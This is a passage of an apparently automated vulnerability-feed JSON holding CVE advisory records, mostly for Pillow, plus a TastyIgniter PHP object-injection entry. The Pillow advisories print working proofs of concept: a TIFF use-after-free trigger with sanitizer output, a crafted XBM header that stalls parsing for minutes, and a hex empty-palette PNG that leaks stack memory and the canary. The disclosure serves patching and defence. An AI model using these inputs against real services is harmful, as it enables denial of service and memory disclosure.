article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T21:26:24.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Axios: AI uncovers massive flaw in web's foundational code","url":"https://www.axios.com/2026/10/21/php-openai-ai-bug-hunting-cyberattacks","type":"reporting","publishedAt":"2026-10-21T21:26:24.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"Axios syndication feed","url":"https://api.axios.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112396","cveId":"CVE-2026-112396","aliases":["GHSA-4rr5-89j8-mwwm"],"kind":"vulnerability","title":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","summary":"- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:","detail":"### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3}) # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n #1 _tiffWriteProc src/libImaging/TiffDecode.c:115\n #3 TIFFFlush libtiff.so.6\n #5 TIFFClose libtiff.so.6\n #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955\n #7 _dealloc src/encode.c:100\nfreed by thread T0 here:\n #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045\n #2 _encode src/encode.c:139\npreviously allocated by thread T0 here:\n #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863\n #2 PyImaging_LibTiffEncoderNew src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.\n\nAffected package ranges reported by GitHub:\npillow: >= 11.3.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:24:19.000Z","updatedAt":"2026-10-21T21:24:20.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","asOf":"2026-10-21T21:24:20.000Z"},"epss":{"probability":0.00588,"percentile":0.47833,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4rr5-89j8-mwwm","url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm","type":"primary","publishedAt":"2026-10-21T21:24:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4rr5-89j8-mwwm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-29001","cveId":"CVE-2026-29001","aliases":[],"kind":"vulnerability","title":"TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP...","summary":"TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP object as a settings value, which is stored unsanitized and later unserialized by getValueAttribute() when the setting is read. Attackers can submit a serialized gadget chain, such as one generated via phpggc, through the admin settings form (for example the maintenance_message setting loaded by CheckMaintenance.php) to achieve arbitrary operating-system command execution as the PHP application process user, with the impact persisting until the value is overwritten.","detail":"TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP object as a settings value, which is stored unsanitized and later unserialized by getValueAttribute() when the setting is read. Attackers can submit a serialized gadget chain, such as one generated via phpggc, through the admin settings form (for example the maintenance_message setting loaded by CheckMaintenance.php) to achieve arbitrary operating-system command execution as the PHP application process user, with the impact persisting until the value is overwritten.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T21:17:59.230Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29001","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00786,"percentile":0.55844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-29001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-29001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29001","type":"primary","publishedAt":"2026-10-21T21:17:59.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-29001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-29001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112901","cveId":"CVE-2026-112901","aliases":["GHSA-xgh8-jp6q-p5x8"],"kind":"vulnerability","title":"Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes","summary":"```\n============================================================================\nReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes\nLocation: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.","detail":"```\n============================================================================\nReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes\nLocation: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.\n\nThe cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \\t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\\r\\n]+` closing the hotspot group overlaps with the following `[\\000-\\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `\"XBM\"`.\n\nThe attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.\n\n## Details\n\n`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\\000-\\377]*_bits\\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.\n\nThis 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:\n\n```python\nk = 60\ndata = b\"#define\" + b\" \"*k + b\"_width 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_height 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_x_hot 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_y_hot 1\" + b\"\\r\"*k\ndata += b\"_bits\" # no \"[]\": the final literal never matches\ndata += b\"A\" * (512 - len(data)) # pad to the 512 bytes _open() reads\n```\n\nCalling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.\n\nThe regex, `src/PIL/XbmImagePlugin.py:32`:\n\n```python\nxbm_head = re.compile(\n rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P [0-9]+)[\\r\\n]+\"\n b\"#define[ \\t]+.*_height[ \\t]+(?P [0-9]+)[\\r\\n]+\"\n b\"(?P \"\n b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P [0-9]+)[\\r\\n]+\"\n b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P [0-9]+)[\\r\\n]+\"\n b\")?\"\n rb\"[\\000-\\377]*_bits\\[]\"\n)\n```\n\nand the only call site, `src/PIL/XbmImagePlugin.py:58`:\n\n```python\n def _open(self) -> None:\n …\n m = xbm_head.match(self.fp.read(512))\n if not m:\n msg = \"not a XBM file\"\n raise SyntaxError(msg)\n```\n\nFor a well-formed header (`#define im_width 8\\n…static char im_bits[] = {`) each `[ \\t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\\000-\\377]*_bits\\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:\n\n- `[ \\t]+.*_width` and `[ \\t]+.*_height`: the run of k spaces after `#define` can be split between `[ \\t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\\r` terminators is incidental: the same header with `\\n` terminators is equally slow.)\n- `[ \\t]+[^_]*_x_hot` and `[ \\t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.\n- `[\\r\\n]+` closing the `hotspot` group, followed by `)?` and `[\\000-\\377]*`: the run of k `\\r` bytes after `_y_hot 1` can be divided between `[\\r\\n]+` and `[\\000-\\377]*` in k ways. Factor k.\n- `[\\000-\\377]*_bits\\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited.\n\nCPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per `open()` is bounded, but the bound is minutes of CPU.\n\nThe path is the default one. `Image.open()` (`src/PIL/Image.py:3719`\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:45:06.000Z","updatedAt":"2026-10-21T20:45:07.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-xgh8-jp6q-p5x8","asOf":"2026-10-21T20:45:07.000Z"},"epss":{"probability":0.00417,"percentile":0.35772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xgh8-jp6q-p5x8","url":"https://github.com/advisories/GHSA-xgh8-jp6q-p5x8","type":"primary","publishedAt":"2026-10-21T20:45:06.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xgh8-jp6q-p5x8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112898","cveId":"CVE-2026-112898","aliases":["GHSA-rfgq-q3w2-pmv2"],"kind":"vulnerability","title":"Pillow: Image.quantize() with empty palette leaks uninitialized stack memory","summary":"```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.","detail":"```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes() # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette->palette`.\n\n### Code path\n\nFile → empty C palette. `PngImagePlugin.chunk_PLTE` 